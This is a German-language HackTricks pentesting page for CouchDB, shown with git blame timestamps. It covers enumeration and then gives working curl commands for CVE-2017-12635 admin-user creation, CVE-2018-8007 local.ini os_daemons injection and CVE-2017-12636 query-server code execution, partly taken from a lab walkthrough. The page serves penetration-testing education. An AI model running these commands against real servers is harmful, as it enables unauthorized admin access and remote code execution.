hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

248 lines
19 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5984,6984 - Pentesting CouchDB
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## **Grundinformationen**
**CouchDB** ist eine vielseitige und leistungsstarke **dokumentenorientierte Datenbank**, die Daten mithilfe einer **Schlüssel-Wert-Karten**-Struktur innerhalb jedes **Dokuments** organisiert. Felder innerhalb des Dokuments können als **Schlüssel/Wert-Paare, Listen oder Karten** dargestellt werden, was Flexibilität bei der Datenspeicherung und -abfrage bietet.
Jedes **Dokument**, das in CouchDB gespeichert ist, erhält eine **eindeutige Kennung** (`_id`) auf Dokumentenebene. Darüber hinaus wird jeder vorgenommenen und in der Datenbank gespeicherten Änderung eine **Versionsnummer** (`_rev`) zugewiesen. Diese Versionsnummer ermöglicht eine effiziente **Verfolgung und Verwaltung von Änderungen** und erleichtert die einfache Abfrage und Synchronisierung von Daten innerhalb der Datenbank.
**Standardport:** 5984(http), 6984(https)
2022-05-01 13:25:53 +00:00
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatische Aufzählung**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Manuelle Enumeration
2024-02-10 15:36:32 +00:00
### Banner
2024-02-10 15:36:32 +00:00
```
curl http://IP:5984/
```
Dies sendet eine GET-Anfrage an die installierte CouchDB-Instanz. Die Antwort sollte ungefähr wie eine der folgenden aussehen:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
2020-07-16 17:00:59 +00:00
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
2020-07-16 19:40:43 +00:00
{% hint style="info" %}
Beachten Sie, dass Sie, wenn Sie auf die Wurzel von CouchDB zugreifen und eine `401 Unauthorized`-Antwort mit etwas wie `{"error":"unauthorized","reason":"Authentication required."}` erhalten, **nicht auf** das Banner oder einen anderen Endpunkt zugreifen können.
2020-07-16 19:40:43 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### Info Enumeration
2020-07-16 19:27:28 +00:00
Dies sind die Endpunkte, auf die Sie mit einer **GET**-Anfrage zugreifen und einige interessante Informationen extrahieren können. Sie finden [**weitere Endpunkte und detailliertere Beschreibungen in der CouchDB-Dokumentation**](https://docs.couchdb.org/en/latest/api/index.html).
2020-07-16 19:27:28 +00:00
* **`/_active_tasks`** Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, Namens, Status und Prozess-ID.
2024-02-10 15:36:32 +00:00
* **`/_all_dbs`** Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück.
* **`/_cluster_setup`** Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück.
* **`/_db_updates`** Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Die Existenz der `_global_changes`-Datenbank ist erforderlich, um diesen Endpunkt zu verwenden.
2024-02-10 15:36:32 +00:00
* **`/_membership`** Zeigt die Knoten an, die Teil des Clusters sind, als `cluster_nodes`. Das Feld `all_nodes` zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind.
* **`/_scheduler/jobs`** Liste der Replikationsjobs. Jede Jobbeschreibung enthält Quell- und Zielinformationen, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge.
* **`/_scheduler/docs`** Liste der Replikationsdokumentzustände. Enthält Informationen über alle Dokumente, auch in `completed` und `failed` Zuständen. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben.
2020-07-16 19:27:28 +00:00
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Der `/_node/{node-name}`-Endpunkt kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist am nützlichsten, wenn Sie auf `/_node/_local` zugreifen, um diese Informationen abzurufen.
* **`/_node/{node-name}/_stats`** Die `_stats`-Ressource gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring `_local` dient als Alias für den lokalen Knotennamen, sodass für alle Statistiken-URLs `{node-name}` durch `_local` ersetzt werden kann, um mit den Statistiken des lokalen Knotens zu interagieren.
* **`/_node/{node-name}/_system`** Die \_systemressource gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können \_\_`_local` als {node-name} verwenden, um aktuelle Knoteninformationen zu erhalten.
2020-07-16 19:27:28 +00:00
* **`/_node/{node-name}/_restart`**
* **`/_up`** Bestätigt, dass der Server aktiv, betriebsbereit und bereit ist, auf Anfragen zu antworten. Wenn [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` oder `nolb` ist, gibt der Endpunkt eine 404-Antwort zurück.
* **`/_uuids`** Fordert eine oder mehrere Universally Unique Identifiers (UUIDs) von der CouchDB-Instanz an.
* **`/_reshard`** Gibt eine Anzahl von abgeschlossenen, fehlgeschlagenen, laufenden, gestoppten und insgesamt Jobs zusammen mit dem Status des Reshardings im Cluster zurück.
2020-07-20 15:31:30 +00:00
2024-02-10 15:36:32 +00:00
Weitere interessante Informationen können wie hier erklärt extrahiert werden: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
2024-02-10 15:36:32 +00:00
### **Datenbankliste**
2022-05-01 13:25:53 +00:00
```
curl -X GET http://IP:5984/_all_dbs
```
Wenn diese Anfrage **mit einem 401 nicht autorisiert** antwortet, benötigen Sie **gültige Anmeldeinformationen**, um auf die Datenbank zuzugreifen:
2022-05-01 13:25:53 +00:00
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Um gültige Anmeldeinformationen zu finden, könnten Sie **versuchen**, [**den Dienst zu bruteforcen**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Dies ist ein **Beispiel** für eine CouchDB **Antwort**, wenn Sie **genug Berechtigungen** haben, um Datenbanken aufzulisten (Es ist nur eine Liste von DBs):
```bash
2020-07-16 17:00:59 +00:00
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Datenbankinfo
Sie können einige Datenbankinformationen (wie die Anzahl der Dateien und deren Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:
2020-07-16 17:00:59 +00:00
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
2024-02-10 15:36:32 +00:00
### **Dokumentenliste**
Listet jeden Eintrag in einer Datenbank auf
```bash
2020-07-16 17:00:59 +00:00
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
2024-02-10 15:36:32 +00:00
### **Dokument lesen**
2024-02-10 15:36:32 +00:00
Lesen Sie den Inhalt eines Dokuments in einer Datenbank:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
2020-07-16 17:00:59 +00:00
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilegieneskalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
2020-07-16 17:00:59 +00:00
Dank der Unterschiede zwischen Erlang- und JavaScript-JSON-Parsern könnten Sie **einen Admin-Benutzer** mit den Anmeldeinformationen `hacktricks:hacktricks` mit der folgenden Anfrage erstellen:
2020-07-16 17:00:59 +00:00
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Weitere Informationen zu dieser Schwachstelle hier**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
2020-07-16 17:00:59 +00:00
2022-05-01 13:25:53 +00:00
## CouchDB RCE
2020-07-16 18:41:33 +00:00
### **Erlang Cookie Sicherheitsübersicht**
2020-07-16 18:41:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
In der CouchDB-Dokumentation, insbesondere im Abschnitt über die Cluster-Einrichtung ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Cluster-Modus besprochen. Es wird erwähnt, dass, wie im Standalone-Modus, der Port `5984` verwendet wird. Zusätzlich ist der Port `5986` für node-lokale APIs vorgesehen, und wichtig ist, dass Erlang den TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, um die Kommunikation zwischen den Knoten innerhalb eines Erlang-Clusters zu erleichtern. Dieses Setup bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.
2020-07-16 18:41:33 +00:00
Ein wichtiger Sicherheitshinweis wird bezüglich des Ports `4369` hervorgehoben. Wenn dieser Port über das Internet oder ein untrusted Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem einzigartigen Identifikator ab, der als "Cookie" bekannt ist. Dieses Cookie fungiert als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste das Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsrahmen des Systems hinweist.
2022-05-01 13:25:53 +00:00
```
2020-07-16 18:41:33 +00:00
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein spezieller Abschnitt für weiterführende Lektüre zur Verfügung. Er beschreibt die Methoden zur unbefugten Nutzung von Erlang-Cookies, um Kontrolle über Systeme zu erlangen. Sie können **[den detaillierten Leitfaden zum Missbrauch von Erlang-Cookies für RCE hier erkunden](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
2020-07-16 18:41:33 +00:00
### **Ausnutzung von CVE-2018-8007 durch Modifikation von local.ini**
2020-07-16 18:41:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
Eine kürzlich offengelegte Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und zeigte, dass die Ausnutzung Schreibberechtigungen für die Datei `local.ini` erfordert. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das ursprüngliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die Datei `local.ini` zu gewähren, um Erkundungszwecke zu ermöglichen. Detaillierte Schritte und Codebeispiele sind unten aufgeführt, die den Prozess demonstrieren.
2024-02-08 21:36:35 +00:00
Zuerst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die Datei `local.ini` beschreibbar ist, was durch Auflisten der Berechtigungen überprüft wird:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Um die Schwachstelle auszunutzen, wird ein curl-Befehl ausgeführt, der die `cors/origins`-Konfiguration in `local.ini` anvisiert. Dies injiziert einen neuen Ursprung zusammen mit zusätzlichen Befehlen im Abschnitt `[os_daemons]`, um beliebigen Code auszuführen:
2021-05-25 23:11:03 +00:00
```bash
2020-07-16 18:41:33 +00:00
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Nachfolgende Überprüfungen zeigen die injizierte Konfiguration in `local.ini`, indem sie mit einem Backup verglichen wird, um die Änderungen hervorzuheben:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Ursprünglich existiert die erwartete Datei (`/tmp/0xdf`) nicht, was darauf hindeutet, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB laufen, einschließlich eines, der möglicherweise den injizierten Befehl ausführen könnte:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/bin# ps aux | grep couch
```
Durch das Beenden des identifizierten CouchDB-Prozesses und das Zulassen, dass das System ihn automatisch neu startet, wird die Ausführung des injizierten Befehls ausgelöst, was durch die Existenz der zuvor fehlenden Datei bestätigt wird:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Diese Erkundung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Anforderung nach schreibbarem Zugriff auf die `local.ini`-Datei. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Replikation des Exploits in einer kontrollierten Umgebung.
2020-07-16 18:41:33 +00:00
Für weitere Details zu CVE-2018-8007 siehe die Mitteilung von mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
2020-07-16 18:41:33 +00:00
### **Erforschen von CVE-2017-12636 mit Schreibberechtigungen auf local.ini**
2020-07-16 18:41:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
Eine Schwachstelle, bekannt als CVE-2017-12636, wurde untersucht, die die Codeausführung über den CouchDB-Prozess ermöglicht, obwohl spezifische Konfigurationen deren Ausnutzung verhindern können. Trotz zahlreicher Proof of Concept (POC)-Referenzen, die online verfügbar sind, sind Anpassungen erforderlich, um die Schwachstelle in der CouchDB-Version 2 auszunutzen, die sich von der häufig angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Abfrage-Server-Pfades zu bestätigen:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
2020-07-16 18:41:33 +00:00
```
Um CouchDB Version 2.0 zu unterstützen, wird ein neuer Pfad verwendet:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
2020-07-16 18:41:33 +00:00
```
Versuche, einen neuen Abfrage-Server hinzuzufügen und zu aktivieren, stießen auf berechtigungsbezogene Fehler, wie aus der folgenden Ausgabe hervorgeht:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
Weitere Untersuchungen ergaben Berechtigungsprobleme mit der `local.ini`-Datei, die nicht beschreibbar war. Durch die Änderung der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
2020-07-16 18:41:33 +00:00
```
Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie die fehlenden Fehlermeldungen in der Antwort zeigen. Die erfolgreiche Modifikation der `local.ini`-Datei wurde durch einen Dateivergleich bestätigt:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
Der Prozess setzte sich mit der Erstellung einer Datenbank und eines Dokuments fort, gefolgt von einem Versuch, Code über eine benutzerdefinierte Ansicht, die auf den neu hinzugefügten Abfrageserver abgebildet ist, auszuführen:
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
2020-07-16 18:41:33 +00:00
```
A **[Zusammenfassung](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** mit einer alternativen Payload bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. **Nützliche Ressourcen** zur Ausnutzung dieser Schwachstelle sind:
2020-07-16 18:41:33 +00:00
- [POC Exploit-Code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
2024-02-10 15:36:32 +00:00
- [Eintrag in der Exploit-Datenbank](https://www.exploit-db.com/exploits/44913/)
2021-05-25 23:11:03 +00:00
2022-05-01 13:25:53 +00:00
## Shodan
2020-10-05 10:14:02 +00:00
* `port:5984 couchdb`
2024-02-10 15:36:32 +00:00
## Referenzen
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
2022-05-01 13:25:53 +00:00
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstütze HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}